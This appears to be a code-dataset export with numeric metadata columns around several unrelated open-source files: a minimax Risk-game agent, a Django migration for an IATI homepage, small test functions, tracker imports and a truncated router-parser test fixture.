| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
52a3ef12d112027d3f84de3eeb1289e651925eab
| 3,954
|
py
|
Python
|
MiniMaxAgent.py
|
youssef-sherif/riskgame
|
48a1758b305f463e6965c176a5bf745eb32791dd
|
[
"MIT"
] | null | null | null |
MiniMaxAgent.py
|
youssef-sherif/riskgame
|
48a1758b305f463e6965c176a5bf745eb32791dd
|
[
"MIT"
] | 3
|
2021-03-09T19:20:20.000Z
|
2021-10-06T05:04:53.000Z
|
MiniMaxAgent.py
|
youssef-sherif/riskgame
|
48a1758b305f463e6965c176a5bf745eb32791dd
|
[
"MIT"
] | null | null | null |
from Agent import Agent
from Color import Color
from State import State
class MiniMaxAgent(Agent):
def make_decision(self, board):
self.receive_armies(board)
state = State(board, self.available_armies_count, 1)
place_armies_result, _ = self.maximize_place_armies(state, -999999, 999999)
attack_result, _ = self.maximize_attack(place_armies_result.parent, -999999, 999999)
if attack_result is not None:
board.bulk_update(attack_result.parent.board)
def maximize_place_armies(self, state, alpha, beta):
max_child, max_heuristic = (None, -999999)
if state.is_terminal(self.get_opponent_color()):
return max_child, self.evaluate_heuristic(state.board)
for child_node in self.get_place_armies_children(state):
self.receive_armies(child_node.state.board)
_, new_heuristic = self.minimize_place_armies(child_node.state, alpha, beta)
# Update heuristic
if new_heuristic > max_heuristic:
max_child, max_heuristic = child_node, new_heuristic
# Update alpha
if new_heuristic > alpha:
alpha = new_heuristic
# Break from loop to prune if no chance for better results
if alpha >= beta:
break
return max_child, max_heuristic #return max child
def minimize_place_armies(self, state, alpha, beta):
min_child, min_heuristic = (None, 999999)
if state.is_terminal(self.get_opponent_color()):
return min_child, self.evaluate_heuristic(state.board)
for child_node in self.get_place_armies_children(state):
self.receive_armies(child_node.state.board)
_, new_heuristic = self.maximize_place_armies(child_node.state, alpha, beta)
# Update heuristic
if new_heuristic < min_heuristic:
min_child, min_heuristic = child_node, new_heuristic
# Update alpha
if new_heuristic < beta:
beta = new_heuristic
# Break from loop to prune if no chance for better results
if alpha >= beta:
break
return min_child, min_heuristic
def maximize_attack(self, state, alpha, beta):
max_child, max_heuristic = (None, -999999)
if state.is_terminal(self.get_opponent_color()):
return max_child, self.evaluate_heuristic(state.board)
for child_node in self.get_attacking_children(state):
self.receive_armies(child_node.state.board)
_, new_heuristic = self.minimize_attack(child_node.state, alpha, beta)
# Update heuristic
if new_heuristic > max_heuristic:
max_child, max_heuristic = child_node, new_heuristic
# Update alpha
if new_heuristic > alpha:
alpha = new_heuristic
# Break from loop to prune if no chance for better results
if alpha >= beta:
break
return max_child, max_heuristic #return max child
def minimize_attack(self, state, alpha, beta):
min_child, min_heuristic = (None, 999999)
if state.is_terminal(self.get_opponent_color()):
return min_child, self.evaluate_heuristic(state.board)
for child_node in self.get_attacking_children(state):
self.receive_armies(child_node.state.board)
_, new_heuristic = self.maximize_attack(child_node.state, alpha, beta)
# Update heuristic
if new_heuristic < min_heuristic:
min_child, min_heuristic = child_node, new_heuristic
# Update alpha
if new_heuristic < beta:
beta = new_heuristic
# Break from loop to prune if no chance for better results
if alpha >= beta:
break
return min_child, min_heuristic
| 34.684211
| 92
| 0.635812
| 474
| 3,954
| 5.027426
| 0.116034
| 0.100713
| 0.047
| 0.050357
| 0.843475
| 0.838439
| 0.829207
| 0.829207
| 0.829207
| 0.829207
| 0
| 0.017645
| 0.297673
| 3,954
| 113
| 93
| 34.99115
| 0.840475
| 0.095852
| 0
| 0.716418
| 0
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| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.074627
| false
| 0
| 0.044776
| 0
| 0.253731
| 0
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| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
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| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
52e22772f1f6a20ea13f7c7cc5404da5ffb0f198
| 87
|
py
|
Python
|
test/tests/test_environments/python_src/main.py
|
jithindevasia/fission
|
4a4ba9d36d92c61c9f22b07e10ec08580957b520
|
[
"Apache-2.0"
] | 6,891
|
2016-12-24T05:54:27.000Z
|
2022-03-31T15:55:08.000Z
|
test/tests/test_environments/python_src/main.py
|
jithindevasia/fission
|
4a4ba9d36d92c61c9f22b07e10ec08580957b520
|
[
"Apache-2.0"
] | 1,840
|
2016-12-24T18:50:37.000Z
|
2022-03-31T08:22:23.000Z
|
test/tests/test_environments/python_src/main.py
|
jithindevasia/fission
|
4a4ba9d36d92c61c9f22b07e10ec08580957b520
|
[
"Apache-2.0"
] | 839
|
2017-01-13T12:40:55.000Z
|
2022-03-29T14:44:02.000Z
|
def main():
return 'THIS_IS_MAIN_MAIN'
def func():
return 'THIS_IS_MAIN_FUNC'
| 14.5
| 30
| 0.689655
| 14
| 87
| 3.857143
| 0.428571
| 0.37037
| 0.444444
| 0.592593
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.195402
| 87
| 5
| 31
| 17.4
| 0.771429
| 0
| 0
| 0
| 0
| 0
| 0.390805
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.5
| true
| 0
| 0
| 0.5
| 1
| 0
| 1
| 0
| 0
| null | 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 1
| 1
| 0
| 0
| 1
| 1
| 0
|
0
| 9
|
eaa8832b0b9fe96d3f122d1dc723a89ff9b918e9
| 28,702
|
py
|
Python
|
home/migrations/0011_auto_20200217_1647.py
|
IATI/new-website
|
b90783e32d19ac4c821c5ea018a52997a11b5286
|
[
"MIT"
] | 4
|
2019-03-28T06:42:17.000Z
|
2021-06-06T13:10:51.000Z
|
home/migrations/0011_auto_20200217_1647.py
|
IATI/new-website
|
b90783e32d19ac4c821c5ea018a52997a11b5286
|
[
"MIT"
] | 177
|
2018-09-28T14:21:56.000Z
|
2022-03-30T21:45:26.000Z
|
home/migrations/0011_auto_20200217_1647.py
|
IATI/new-website
|
b90783e32d19ac4c821c5ea018a52997a11b5286
|
[
"MIT"
] | 8
|
2018-10-25T20:43:10.000Z
|
2022-03-17T14:19:27.000Z
|
# Generated by Django 2.2.9 on 2020-02-17 16:47
from django.db import migrations, models
import django.db.models.deletion
import modelcluster.fields
class Migration(migrations.Migration):
dependencies = [
('wagtailimages', '0001_squashed_0021'),
('wagtailcore', '0041_group_collection_permissions_verbose_name_plural'),
('home', '0010_homepage_testimonial'),
]
operations = [
migrations.AddField(
model_name='homepage',
name='about_iati_description',
field=models.TextField(default='', help_text='Description for the about IATI section'),
preserve_default=False,
),
migrations.AddField(
model_name='homepage',
name='about_iati_description_en',
field=models.TextField(help_text='Description for the about IATI section', null=True),
),
migrations.AddField(
model_name='homepage',
name='about_iati_description_es',
field=models.TextField(help_text='Description for the about IATI section', null=True),
),
migrations.AddField(
model_name='homepage',
name='about_iati_description_fr',
field=models.TextField(help_text='Description for the about IATI section', null=True),
),
migrations.AddField(
model_name='homepage',
name='about_iati_description_pt',
field=models.TextField(help_text='Description for the about IATI section', null=True),
),
migrations.AddField(
model_name='homepage',
name='about_iati_link_label',
field=models.CharField(default='', help_text='Link label for the about IATI section', max_length=255),
preserve_default=False,
),
migrations.AddField(
model_name='homepage',
name='about_iati_link_label_en',
field=models.CharField(help_text='Link label for the about IATI section', max_length=255, null=True),
),
migrations.AddField(
model_name='homepage',
name='about_iati_link_label_es',
field=models.CharField(help_text='Link label for the about IATI section', max_length=255, null=True),
),
migrations.AddField(
model_name='homepage',
name='about_iati_link_label_fr',
field=models.CharField(help_text='Link label for the about IATI section', max_length=255, null=True),
),
migrations.AddField(
model_name='homepage',
name='about_iati_link_label_pt',
field=models.CharField(help_text='Link label for the about IATI section', max_length=255, null=True),
),
migrations.AddField(
model_name='homepage',
name='about_iati_page',
field=models.ForeignKey(null=True, on_delete=django.db.models.deletion.SET_NULL, related_name='+', to='wagtailcore.Page'),
),
migrations.AddField(
model_name='homepage',
name='about_iati_title',
field=models.CharField(default='', help_text='Title for the about IATI section', max_length=255),
preserve_default=False,
),
migrations.AddField(
model_name='homepage',
name='about_iati_title_en',
field=models.CharField(help_text='Title for the about IATI section', max_length=255, null=True),
),
migrations.AddField(
model_name='homepage',
name='about_iati_title_es',
field=models.CharField(help_text='Title for the about IATI section', max_length=255, null=True),
),
migrations.AddField(
model_name='homepage',
name='about_iati_title_fr',
field=models.CharField(help_text='Title for the about IATI section', max_length=255, null=True),
),
migrations.AddField(
model_name='homepage',
name='about_iati_title_pt',
field=models.CharField(help_text='Title for the about IATI section', max_length=255, null=True),
),
migrations.AddField(
model_name='homepage',
name='about_iati_video',
field=models.URLField(default='', help_text='Video embed URL for the about IATI section', max_length=255),
preserve_default=False,
),
migrations.AddField(
model_name='homepage',
name='about_iati_video_en',
field=models.URLField(help_text='Video embed URL for the about IATI section', max_length=255, null=True),
),
migrations.AddField(
model_name='homepage',
name='about_iati_video_es',
field=models.URLField(help_text='Video embed URL for the about IATI section', max_length=255, null=True),
),
migrations.AddField(
model_name='homepage',
name='about_iati_video_fr',
field=models.URLField(help_text='Video embed URL for the about IATI section', max_length=255, null=True),
),
migrations.AddField(
model_name='homepage',
name='about_iati_video_pt',
field=models.URLField(help_text='Video embed URL for the about IATI section', max_length=255, null=True),
),
migrations.AddField(
model_name='homepage',
name='activities_description',
field=models.CharField(default='', help_text='Description for the activities statistics section', max_length=255),
preserve_default=False,
),
migrations.AddField(
model_name='homepage',
name='activities_description_en',
field=models.CharField(help_text='Description for the activities statistics section', max_length=255, null=True),
),
migrations.AddField(
model_name='homepage',
name='activities_description_es',
field=models.CharField(help_text='Description for the activities statistics section', max_length=255, null=True),
),
migrations.AddField(
model_name='homepage',
name='activities_description_fr',
field=models.CharField(help_text='Description for the activities statistics section', max_length=255, null=True),
),
migrations.AddField(
model_name='homepage',
name='activities_description_pt',
field=models.CharField(help_text='Description for the activities statistics section', max_length=255, null=True),
),
migrations.AddField(
model_name='homepage',
name='getting_started_title',
field=models.CharField(default='', help_text='Title for the getting started section', max_length=255),
preserve_default=False,
),
migrations.AddField(
model_name='homepage',
name='getting_started_title_en',
field=models.CharField(help_text='Title for the getting started section', max_length=255, null=True),
),
migrations.AddField(
model_name='homepage',
name='getting_started_title_es',
field=models.CharField(help_text='Title for the getting started section', max_length=255, null=True),
),
migrations.AddField(
model_name='homepage',
name='getting_started_title_fr',
field=models.CharField(help_text='Title for the getting started section', max_length=255, null=True),
),
migrations.AddField(
model_name='homepage',
name='getting_started_title_pt',
field=models.CharField(help_text='Title for the getting started section', max_length=255, null=True),
),
migrations.AddField(
model_name='homepage',
name='header_video_en',
field=models.URLField(blank=True, help_text='Optional: video embed URL for page header', max_length=255, null=True),
),
migrations.AddField(
model_name='homepage',
name='header_video_es',
field=models.URLField(blank=True, help_text='Optional: video embed URL for page header', max_length=255, null=True),
),
migrations.AddField(
model_name='homepage',
name='header_video_fr',
field=models.URLField(blank=True, help_text='Optional: video embed URL for page header', max_length=255, null=True),
),
migrations.AddField(
model_name='homepage',
name='header_video_pt',
field=models.URLField(blank=True, help_text='Optional: video embed URL for page header', max_length=255, null=True),
),
migrations.AddField(
model_name='homepage',
name='iati_in_action_description',
field=models.TextField(blank=True, help_text='Optional: description for the IATI in action section'),
),
migrations.AddField(
model_name='homepage',
name='iati_in_action_description_en',
field=models.TextField(blank=True, help_text='Optional: description for the IATI in action section', null=True),
),
migrations.AddField(
model_name='homepage',
name='iati_in_action_description_es',
field=models.TextField(blank=True, help_text='Optional: description for the IATI in action section', null=True),
),
migrations.AddField(
model_name='homepage',
name='iati_in_action_description_fr',
field=models.TextField(blank=True, help_text='Optional: description for the IATI in action section', null=True),
),
migrations.AddField(
model_name='homepage',
name='iati_in_action_description_pt',
field=models.TextField(blank=True, help_text='Optional: description for the IATI in action section', null=True),
),
migrations.AddField(
model_name='homepage',
name='iati_in_action_title',
field=models.CharField(default='', help_text='Title for the IATI in action section', max_length=255),
preserve_default=False,
),
migrations.AddField(
model_name='homepage',
name='iati_in_action_title_en',
field=models.CharField(help_text='Title for the IATI in action section', max_length=255, null=True),
),
migrations.AddField(
model_name='homepage',
name='iati_in_action_title_es',
field=models.CharField(help_text='Title for the IATI in action section', max_length=255, null=True),
),
migrations.AddField(
model_name='homepage',
name='iati_in_action_title_fr',
field=models.CharField(help_text='Title for the IATI in action section', max_length=255, null=True),
),
migrations.AddField(
model_name='homepage',
name='iati_in_action_title_pt',
field=models.CharField(help_text='Title for the IATI in action section', max_length=255, null=True),
),
migrations.AddField(
model_name='homepage',
name='iati_tools_title',
field=models.CharField(default='', help_text='Title for the IATI tools section', max_length=255),
preserve_default=False,
),
migrations.AddField(
model_name='homepage',
name='iati_tools_title_description',
field=models.TextField(blank=True, help_text='Optional: description for the IATI tools section'),
),
migrations.AddField(
model_name='homepage',
name='iati_tools_title_description_en',
field=models.TextField(blank=True, help_text='Optional: description for the IATI tools section', null=True),
),
migrations.AddField(
model_name='homepage',
name='iati_tools_title_description_es',
field=models.TextField(blank=True, help_text='Optional: description for the IATI tools section', null=True),
),
migrations.AddField(
model_name='homepage',
name='iati_tools_title_description_fr',
field=models.TextField(blank=True, help_text='Optional: description for the IATI tools section', null=True),
),
migrations.AddField(
model_name='homepage',
name='iati_tools_title_description_pt',
field=models.TextField(blank=True, help_text='Optional: description for the IATI tools section', null=True),
),
migrations.AddField(
model_name='homepage',
name='iati_tools_title_en',
field=models.CharField(help_text='Title for the IATI tools section', max_length=255, null=True),
),
migrations.AddField(
model_name='homepage',
name='iati_tools_title_es',
field=models.CharField(help_text='Title for the IATI tools section', max_length=255, null=True),
),
migrations.AddField(
model_name='homepage',
name='iati_tools_title_fr',
field=models.CharField(help_text='Title for the IATI tools section', max_length=255, null=True),
),
migrations.AddField(
model_name='homepage',
name='iati_tools_title_pt',
field=models.CharField(help_text='Title for the IATI tools section', max_length=255, null=True),
),
migrations.AddField(
model_name='homepage',
name='latest_news_link_label',
field=models.CharField(default='', help_text='Label for the view all news button', max_length=255),
preserve_default=False,
),
migrations.AddField(
model_name='homepage',
name='latest_news_link_label_en',
field=models.CharField(help_text='Label for the view all news button', max_length=255, null=True),
),
migrations.AddField(
model_name='homepage',
name='latest_news_link_label_es',
field=models.CharField(help_text='Label for the view all news button', max_length=255, null=True),
),
migrations.AddField(
model_name='homepage',
name='latest_news_link_label_fr',
field=models.CharField(help_text='Label for the view all news button', max_length=255, null=True),
),
migrations.AddField(
model_name='homepage',
name='latest_news_link_label_pt',
field=models.CharField(help_text='Label for the view all news button', max_length=255, null=True),
),
migrations.AddField(
model_name='homepage',
name='latest_news_title',
field=models.CharField(default='', help_text='Title for the latest new section', max_length=255),
preserve_default=False,
),
migrations.AddField(
model_name='homepage',
name='latest_news_title_en',
field=models.CharField(help_text='Title for the latest new section', max_length=255, null=True),
),
migrations.AddField(
model_name='homepage',
name='latest_news_title_es',
field=models.CharField(help_text='Title for the latest new section', max_length=255, null=True),
),
migrations.AddField(
model_name='homepage',
name='latest_news_title_fr',
field=models.CharField(help_text='Title for the latest new section', max_length=255, null=True),
),
migrations.AddField(
model_name='homepage',
name='latest_news_title_pt',
field=models.CharField(help_text='Title for the latest new section', max_length=255, null=True),
),
migrations.AddField(
model_name='homepage',
name='latest_news_tweets_title',
field=models.CharField(default='', help_text='Title for the latest news Twitter section', max_length=255),
preserve_default=False,
),
migrations.AddField(
model_name='homepage',
name='latest_news_tweets_title_en',
field=models.CharField(help_text='Title for the latest news Twitter section', max_length=255, null=True),
),
migrations.AddField(
model_name='homepage',
name='latest_news_tweets_title_es',
field=models.CharField(help_text='Title for the latest news Twitter section', max_length=255, null=True),
),
migrations.AddField(
model_name='homepage',
name='latest_news_tweets_title_fr',
field=models.CharField(help_text='Title for the latest news Twitter section', max_length=255, null=True),
),
migrations.AddField(
model_name='homepage',
name='latest_news_tweets_title_pt',
field=models.CharField(help_text='Title for the latest news Twitter section', max_length=255, null=True),
),
migrations.AddField(
model_name='homepage',
name='organisations_description',
field=models.CharField(default='', help_text='Description for the organisations statistics section', max_length=255),
preserve_default=False,
),
migrations.AddField(
model_name='homepage',
name='organisations_description_en',
field=models.CharField(help_text='Description for the organisations statistics section', max_length=255, null=True),
),
migrations.AddField(
model_name='homepage',
name='organisations_description_es',
field=models.CharField(help_text='Description for the organisations statistics section', max_length=255, null=True),
),
migrations.AddField(
model_name='homepage',
name='organisations_description_fr',
field=models.CharField(help_text='Description for the organisations statistics section', max_length=255, null=True),
),
migrations.AddField(
model_name='homepage',
name='organisations_description_pt',
field=models.CharField(help_text='Description for the organisations statistics section', max_length=255, null=True),
),
migrations.CreateModel(
name='IATIToolsItems',
fields=[
('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')),
('sort_order', models.IntegerField(blank=True, editable=False, null=True)),
('item', modelcluster.fields.ParentalKey(on_delete=django.db.models.deletion.CASCADE, related_name='iati_tools_items', to='home.HomePage')),
('page', models.ForeignKey(help_text='Page link for the item', null=True, on_delete=django.db.models.deletion.CASCADE, related_name='+', to='wagtailcore.Page')),
],
options={
'ordering': ['sort_order'],
'abstract': False,
},
),
migrations.CreateModel(
name='IATIInActionItems',
fields=[
('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')),
('sort_order', models.IntegerField(blank=True, editable=False, null=True)),
('title', models.CharField(blank=True, help_text='Optional: title for the item. Defaults to the selected page title if left blank', max_length=255)),
('title_en', models.CharField(blank=True, help_text='Optional: title for the item. Defaults to the selected page title if left blank', max_length=255, null=True)),
('title_fr', models.CharField(blank=True, help_text='Optional: title for the item. Defaults to the selected page title if left blank', max_length=255, null=True)),
('title_es', models.CharField(blank=True, help_text='Optional: title for the item. Defaults to the selected page title if left blank', max_length=255, null=True)),
('title_pt', models.CharField(blank=True, help_text='Optional: title for the item. Defaults to the selected page title if left blank', max_length=255, null=True)),
('description', models.CharField(blank=True, help_text='Optional: description for the item. Defaults to the selected page excerpt if left blank', max_length=255)),
('description_en', models.CharField(blank=True, help_text='Optional: description for the item. Defaults to the selected page excerpt if left blank', max_length=255, null=True)),
('description_fr', models.CharField(blank=True, help_text='Optional: description for the item. Defaults to the selected page excerpt if left blank', max_length=255, null=True)),
('description_es', models.CharField(blank=True, help_text='Optional: description for the item. Defaults to the selected page excerpt if left blank', max_length=255, null=True)),
('description_pt', models.CharField(blank=True, help_text='Optional: description for the item. Defaults to the selected page excerpt if left blank', max_length=255, null=True)),
('item', modelcluster.fields.ParentalKey(on_delete=django.db.models.deletion.CASCADE, related_name='iati_in_action_items', to='home.HomePage')),
('page', models.ForeignKey(help_text='Page link for the item', null=True, on_delete=django.db.models.deletion.CASCADE, related_name='+', to='wagtailcore.Page')),
],
options={
'ordering': ['sort_order'],
'abstract': False,
},
),
migrations.CreateModel(
name='IATIInActionFeaturedItems',
fields=[
('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')),
('sort_order', models.IntegerField(blank=True, editable=False, null=True)),
('title', models.CharField(blank=True, help_text='Optional: title for the item. Defaults to the selected page title if left blank', max_length=255)),
('title_en', models.CharField(blank=True, help_text='Optional: title for the item. Defaults to the selected page title if left blank', max_length=255, null=True)),
('title_fr', models.CharField(blank=True, help_text='Optional: title for the item. Defaults to the selected page title if left blank', max_length=255, null=True)),
('title_es', models.CharField(blank=True, help_text='Optional: title for the item. Defaults to the selected page title if left blank', max_length=255, null=True)),
('title_pt', models.CharField(blank=True, help_text='Optional: title for the item. Defaults to the selected page title if left blank', max_length=255, null=True)),
('description', models.CharField(blank=True, help_text='Optional: description for the item. Defaults to the selected page excerpt if left blank', max_length=255)),
('description_en', models.CharField(blank=True, help_text='Optional: description for the item. Defaults to the selected page excerpt if left blank', max_length=255, null=True)),
('description_fr', models.CharField(blank=True, help_text='Optional: description for the item. Defaults to the selected page excerpt if left blank', max_length=255, null=True)),
('description_es', models.CharField(blank=True, help_text='Optional: description for the item. Defaults to the selected page excerpt if left blank', max_length=255, null=True)),
('description_pt', models.CharField(blank=True, help_text='Optional: description for the item. Defaults to the selected page excerpt if left blank', max_length=255, null=True)),
('quote', models.CharField(blank=True, help_text='Optional: quote for the item', max_length=255)),
('quote_en', models.CharField(blank=True, help_text='Optional: quote for the item', max_length=255, null=True)),
('quote_fr', models.CharField(blank=True, help_text='Optional: quote for the item', max_length=255, null=True)),
('quote_es', models.CharField(blank=True, help_text='Optional: quote for the item', max_length=255, null=True)),
('quote_pt', models.CharField(blank=True, help_text='Optional: quote for the item', max_length=255, null=True)),
('quotee', models.CharField(blank=True, help_text='Optional: the source of the quote', max_length=255)),
('quotee_en', models.CharField(blank=True, help_text='Optional: the source of the quote', max_length=255, null=True)),
('quotee_fr', models.CharField(blank=True, help_text='Optional: the source of the quote', max_length=255, null=True)),
('quotee_es', models.CharField(blank=True, help_text='Optional: the source of the quote', max_length=255, null=True)),
('quotee_pt', models.CharField(blank=True, help_text='Optional: the source of the quote', max_length=255, null=True)),
('image', models.ForeignKey(blank=True, help_text='Optional: image for the item. Defaults to the selected page image if left blank', null=True, on_delete=django.db.models.deletion.SET_NULL, related_name='+', to='wagtailimages.Image')),
('item', modelcluster.fields.ParentalKey(on_delete=django.db.models.deletion.CASCADE, related_name='iati_in_action_featured_item', to='home.HomePage')),
('page', models.ForeignKey(help_text='Page link for the item', null=True, on_delete=django.db.models.deletion.CASCADE, related_name='+', to='wagtailcore.Page')),
],
options={
'ordering': ['sort_order'],
'abstract': False,
},
),
migrations.CreateModel(
name='GettingStartedItems',
fields=[
('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')),
('sort_order', models.IntegerField(blank=True, editable=False, null=True)),
('title', models.CharField(help_text='Title for the item', max_length=255)),
('title_en', models.CharField(help_text='Title for the item', max_length=255, null=True)),
('title_fr', models.CharField(help_text='Title for the item', max_length=255, null=True)),
('title_es', models.CharField(help_text='Title for the item', max_length=255, null=True)),
('title_pt', models.CharField(help_text='Title for the item', max_length=255, null=True)),
('description', models.CharField(help_text='Description for the item', max_length=255)),
('description_en', models.CharField(help_text='Description for the item', max_length=255, null=True)),
('description_fr', models.CharField(help_text='Description for the item', max_length=255, null=True)),
('description_es', models.CharField(help_text='Description for the item', max_length=255, null=True)),
('description_pt', models.CharField(help_text='Description for the item', max_length=255, null=True)),
('link_label', models.CharField(help_text='Link label for the item', max_length=255)),
('link_label_en', models.CharField(help_text='Link label for the item', max_length=255, null=True)),
('link_label_fr', models.CharField(help_text='Link label for the item', max_length=255, null=True)),
('link_label_es', models.CharField(help_text='Link label for the item', max_length=255, null=True)),
('link_label_pt', models.CharField(help_text='Link label for the item', max_length=255, null=True)),
('image', models.ForeignKey(help_text='Image for the item', null=True, on_delete=django.db.models.deletion.SET_NULL, related_name='+', to='wagtailimages.Image')),
('item', modelcluster.fields.ParentalKey(on_delete=django.db.models.deletion.CASCADE, related_name='getting_started_items', to='home.HomePage')),
('page', models.ForeignKey(help_text='Page link for the item', null=True, on_delete=django.db.models.deletion.CASCADE, related_name='+', to='wagtailcore.Page')),
],
options={
'ordering': ['sort_order'],
'abstract': False,
},
),
]
| 56.948413
| 251
| 0.634834
| 3,361
| 28,702
| 5.228206
| 0.038679
| 0.056909
| 0.071022
| 0.076485
| 0.969554
| 0.965456
| 0.964432
| 0.963294
| 0.950376
| 0.94127
| 0
| 0.01598
| 0.252143
| 28,702
| 503
| 252
| 57.06163
| 0.802655
| 0.001568
| 0
| 0.71831
| 1
| 0
| 0.310173
| 0.049101
| 0.012072
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0
| 0.006036
| 0
| 0.012072
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 1
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 8
|
eab9eaccd128cad9a8c678e07d6e9420bdb41087
| 95
|
py
|
Python
|
examples/test_simple.py
|
VStoilovskyi/agent-python-pytest
|
325f56938009ae89ae7739410adcccc0d94f2cde
|
[
"Apache-2.0"
] | 85
|
2017-05-03T10:44:32.000Z
|
2022-03-30T06:57:10.000Z
|
examples/test_simple.py
|
VStoilovskyi/agent-python-pytest
|
325f56938009ae89ae7739410adcccc0d94f2cde
|
[
"Apache-2.0"
] | 212
|
2017-04-26T12:18:07.000Z
|
2022-03-28T11:49:34.000Z
|
examples/test_simple.py
|
VStoilovskyi/agent-python-pytest
|
325f56938009ae89ae7739410adcccc0d94f2cde
|
[
"Apache-2.0"
] | 103
|
2017-04-12T15:34:58.000Z
|
2022-01-24T17:11:29.000Z
|
"""Simple example test."""
def test_simple():
"""Simple example test."""
assert True
| 13.571429
| 30
| 0.610526
| 11
| 95
| 5.181818
| 0.545455
| 0.45614
| 0.596491
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.210526
| 95
| 6
| 31
| 15.833333
| 0.76
| 0.431579
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.5
| 1
| 0.5
| true
| 0
| 0
| 0
| 0.5
| 0
| 1
| 0
| 0
| null | 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 0
| 1
| 1
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
eacd0134d8f950971c49af272de25f2290db7872
| 157
|
py
|
Python
|
motrackers/detectors/__init__.py
|
timseifer/mixed_motion_detection
|
bf9f8731885a1be477ec2e871adf614a52375e6c
|
[
"MIT"
] | 570
|
2018-09-17T19:49:33.000Z
|
2022-03-30T12:54:27.000Z
|
motrackers/detectors/__init__.py
|
timseifer/mixed_motion_detection
|
bf9f8731885a1be477ec2e871adf614a52375e6c
|
[
"MIT"
] | 21
|
2018-09-12T02:35:09.000Z
|
2021-12-30T08:25:38.000Z
|
motrackers/detectors/__init__.py
|
timseifer/mixed_motion_detection
|
bf9f8731885a1be477ec2e871adf614a52375e6c
|
[
"MIT"
] | 74
|
2019-07-10T06:25:50.000Z
|
2022-02-28T02:47:10.000Z
|
from motrackers.detectors.tf import TF_SSDMobileNetV2
from motrackers.detectors.caffe import Caffe_SSDMobileNet
from motrackers.detectors.yolo import YOLOv3
| 39.25
| 57
| 0.88535
| 20
| 157
| 6.85
| 0.5
| 0.306569
| 0.50365
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.013793
| 0.076433
| 157
| 3
| 58
| 52.333333
| 0.931034
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 1
| 0
| 1
| 0
| 1
| 0
| 0
| null | 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 1
| 0
|
0
| 7
|
f4a620612d875abd10992b52b05cd54f280d550a
| 7,794
|
py
|
Python
|
src/genie/libs/parser/iosxr/tests/ShowRouteIpv4/cli/equal/golden3_expected.py
|
balmasea/genieparser
|
d1e71a96dfb081e0a8591707b9d4872decd5d9d3
|
[
"Apache-2.0"
] | 204
|
2018-06-27T00:55:27.000Z
|
2022-03-06T21:12:18.000Z
|
src/genie/libs/parser/iosxr/tests/ShowRouteIpv4/cli/equal/golden3_expected.py
|
balmasea/genieparser
|
d1e71a96dfb081e0a8591707b9d4872decd5d9d3
|
[
"Apache-2.0"
] | 468
|
2018-06-19T00:33:18.000Z
|
2022-03-31T23:23:35.000Z
|
src/genie/libs/parser/iosxr/tests/ShowRouteIpv4/cli/equal/golden3_expected.py
|
balmasea/genieparser
|
d1e71a96dfb081e0a8591707b9d4872decd5d9d3
|
[
"Apache-2.0"
] | 309
|
2019-01-16T20:21:07.000Z
|
2022-03-30T12:56:41.000Z
|
expected_output = {
'vrf': {
'VRF501': {
'address_family': {
'ipv4': {
'routes': {
'192.168.111.1/32': {
'route': '192.168.111.1/32',
'active': True,
'source_protocol_codes': 'L',
'source_protocol': 'local',
'next_hop': {
'outgoing_interface': {
'Loopback501': {
'outgoing_interface': 'Loopback501',
'updated': '1d22h'
},
},
},
},
'192.168.4.0/24': {
'route': '192.168.4.0/24',
'active': True,
'source_protocol_codes': 'C',
'source_protocol': 'connected',
'next_hop': {
'outgoing_interface': {
'GigabitEthernet0/0/0/0.501': {
'outgoing_interface': 'GigabitEthernet0/0/0/0.501',
'updated': '20:03:59'
},
},
},
},
'192.168.4.1/32': {
'route': '192.168.4.1/32',
'active': True,
'source_protocol_codes': 'L',
'source_protocol': 'local',
'next_hop': {
'outgoing_interface': {
'GigabitEthernet0/0/0/0.501': {
'outgoing_interface': 'GigabitEthernet0/0/0/0.501',
'updated': '20:03:59'
},
},
},
},
},
},
},
'last_resort': {
'gateway': 'not set'
},
},
'VRF502': {
'address_family': {
'ipv4': {
'routes': {
'10.144.0.0/24': {
'route': '10.144.0.0/24',
'active': True,
